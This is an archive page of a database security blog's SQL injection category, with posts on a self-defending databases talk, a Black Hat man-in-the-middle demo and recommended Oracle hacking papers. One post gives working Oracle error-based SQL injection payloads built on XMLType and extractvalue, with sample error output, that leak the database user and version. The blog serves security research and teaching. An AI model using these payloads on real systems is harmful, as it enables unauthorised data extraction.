Archive for the ‘SQL Injection’ Category

Self-Defending Databases

Freitag, November 2nd, 2012

I just uploaded my talk Hashdays 2012 „Self-Defending Databases“ to the Red-Database-Security website.  The talk explains how to detect SQL Injection attacks in databases (Oracle/MSSQL/MySQL) and how to react in case of a SQL Injection (e.g. done with Pangolin, Havij or Netsparker).

Initially the idea covered only Oracle and MSSQL but Xavier Mertens extend the concept to MySQL (MySQL Attacks Self-Detection) after he saw my presentation at the Hashdays Management Session.

Man-in-the-Middle attacks at upcoming Black Hat Europe

Montag, April 12th, 2010

Wendel Guglielmetti Henrique  and Steve Ocepek will demonstrate at the upcoming Black Hat Europe 2010 in Barcelona (14-15 April) how to steal credentials by downgrading authentication mechanisms as well as overtaking existing user sessions. They will also show their thicknet tool which will be available after the conference.

This sounds similar to Laszlo work on downgrading JDBC. But I had already a chance to review their presentation so I know it is different.

More information after their presentation.

2 new ways to create error messages

Donnerstag, Februar 25th, 2010

Today I came across a nice blog article „Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle“ from Dmitry Evteev about new techniques which can be used in error-based SQL injection. One of the comments contains an additional technique. Even if the title of the blog is not correct for Oracle (it’s not blind SQL Injection it’s error based which is a small but important difference) the idea itself is nice. Sometimes the SQL statements are more complicated than necessary.

Using error messages of XMLType:

The XMLType allows to create error messages containing custom strings (like database users, passwords, …). The string must start with a ‚<:‘ that’s why we have to concatenate  ‚<:‘  to the string.  Additionally the all spaces and at-signs must be replaced.

SQL> select XMLType((‚<:’||user||‘>‘)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName „:SYS“ (not a Name)
Error at line 1
ORA-06512: at „SYS.XMLTYPE“, line 0
ORA-06512: at line 1

SQL> select XMLType((‚<:’||replace((select banner from v$version where rownum=1) ,‘ ‚,“)||‘>‘)) from dual;
ERROR:
19
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName
:Oracle9iEnterpriseEditionRelease9.2.0.8.0-Production“ (not a Name)
Error at line 1
ORA-06512: at „SYS.XMLTYPE“, line 0
ORA-06512: at line 1

This can be used in an SQL Injection statement:

or 1=length(XMLType((‚<:’||replace((select banner from v$version where rownum=1) ,‘ ‚,“)||‘>‘)))–

The second technique is mentioned in the comments: 

SQL> select extractvalue(xmltype(‚<x/>‘),’/$’||(SELECT banner FROM v$version where rownum=1)) from dual;

*
ERROR at line 1:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00601: Invalid token in: ‚/$Oracle Database 10g Express Edition Release 10.2.0.1.0 – Product

 This can be used in an SQL Injection statement:

or 1=length(extractvalue(xmltype(‚<x/>‘),’/$’||(SELECT banner FROM v$version where rownum=1)))–

Really good whitepaper about „Hacking Oracle from the Web“

Montag, Februar 22nd, 2010

Sumit Siddarth (Sid) has just published a really good whitepaper about „Hacking Oracle from the Web„.This is the most comprehensive published collection of different techniques for attacking Oracle from the web. Sid spent a lot of time composing the different techniques mentioned in various presentations and whitepapers.

Sid describes various techniques like data extraction (inband techniques like union or error messages, out-of-band techniques like heavy queries, blind, …), privilege escalation (sys.kupp$proc, dbms_repcat_rpc and dbms_export_extension)  and OS code execution.

Well done Sid.

Interesting Article about SQL Injection in Oracle by Mike Smithers

Montag, Februar 15th, 2010

Mike Smithers, a former colleague, maintains a nice blog called „The Anti-Kyte„. He wrote a really interesting article „Self-Inflicted SQL Injection – don’t quote me !“ about SQL Injection in Oracle.

Well written Mike.